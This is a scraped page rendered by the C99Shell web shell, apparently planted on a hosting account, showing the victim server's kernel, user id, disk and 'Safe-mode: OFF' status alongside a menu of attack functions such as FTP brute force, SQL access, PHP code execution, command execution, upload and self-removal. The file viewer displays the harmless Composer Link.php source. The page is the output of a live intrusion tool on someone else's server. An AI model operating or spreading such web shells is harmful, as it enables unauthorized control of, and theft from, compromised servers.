!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/usr/share/php/Composer/Package/   drwxr-xr-x
Free 55.96 GB of 99.95 GB (55.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Link.php (3.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Package;

use 
Composer\Semver\Constraint\ConstraintInterface;

/**
 * Represents a link between two packages, represented by their names
 *
 * @author Nils Adermann <naderman@naderman.de>
 */
class Link
{
    public const 
TYPE_REQUIRE 'requires';
    public const 
TYPE_DEV_REQUIRE 'devRequires';
    public const 
TYPE_PROVIDE 'provides';
    public const 
TYPE_CONFLICT 'conflicts';
    public const 
TYPE_REPLACE 'replaces';

    
/**
     * Special type
     * @internal
     */
    
public const TYPE_DOES_NOT_REQUIRE 'does not require';

    private const 
TYPE_UNKNOWN 'relates to';

    
/**
     * Will be converted into a constant once the min PHP version allows this
     *
     * @internal
     * @var string[]
     * @phpstan-var array<self::TYPE_REQUIRE|self::TYPE_DEV_REQUIRE|self::TYPE_PROVIDE|self::TYPE_CONFLICT|self::TYPE_REPLACE>
     */
    
public static $TYPES = [
        
self::TYPE_REQUIRE,
        
self::TYPE_DEV_REQUIRE,
        
self::TYPE_PROVIDE,
        
self::TYPE_CONFLICT,
        
self::TYPE_REPLACE,
    ];

    
/**
     * @var string
     */
    
protected $source;

    
/**
     * @var string
     */
    
protected $target;

    
/**
     * @var ConstraintInterface
     */
    
protected $constraint;

    
/**
     * @var string
     * @phpstan-var string $description
     */
    
protected $description;

    
/**
     * @var ?string
     */
    
protected $prettyConstraint;

    
/**
     * Creates a new package link.
     *
     * @param ConstraintInterface $constraint       Constraint applying to the target of this link
     * @param self::TYPE_*        $description      Used to create a descriptive string representation
     */
    
public function __construct(
        
string $source,
        
string $target,
        
ConstraintInterface $constraint,
        
$description self::TYPE_UNKNOWN,
        ?
string $prettyConstraint null
    
) {
        
$this->source strtolower($source);
        
$this->target strtolower($target);
        
$this->constraint $constraint;
        
$this->description self::TYPE_DEV_REQUIRE === $description 'requires (for development)' $description;
        
$this->prettyConstraint $prettyConstraint;
    }

    public function 
getDescription(): string
    
{
        return 
$this->description;
    }

    public function 
getSource(): string
    
{
        return 
$this->source;
    }

    public function 
getTarget(): string
    
{
        return 
$this->target;
    }

    public function 
getConstraint(): ConstraintInterface
    
{
        return 
$this->constraint;
    }

    
/**
     * @throws \UnexpectedValueException If no pretty constraint was provided
     */
    
public function getPrettyConstraint(): string
    
{
        if (
null === $this->prettyConstraint) {
            throw new \
UnexpectedValueException(sprintf('Link %s has been misconfigured and had no prettyConstraint given.'$this));
        }

        return 
$this->prettyConstraint;
    }

    public function 
__toString(): string
    
{
        return 
$this->source.' '.$this->description.' '.$this->target.' ('.$this->constraint.')';
    }

    public function 
getPrettyString(PackageInterface $sourcePackage): string
    
{
        return 
$sourcePackage->getPrettyString().' '.$this->description.' '.$this->target.' '.$this->constraint->getPrettyString();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--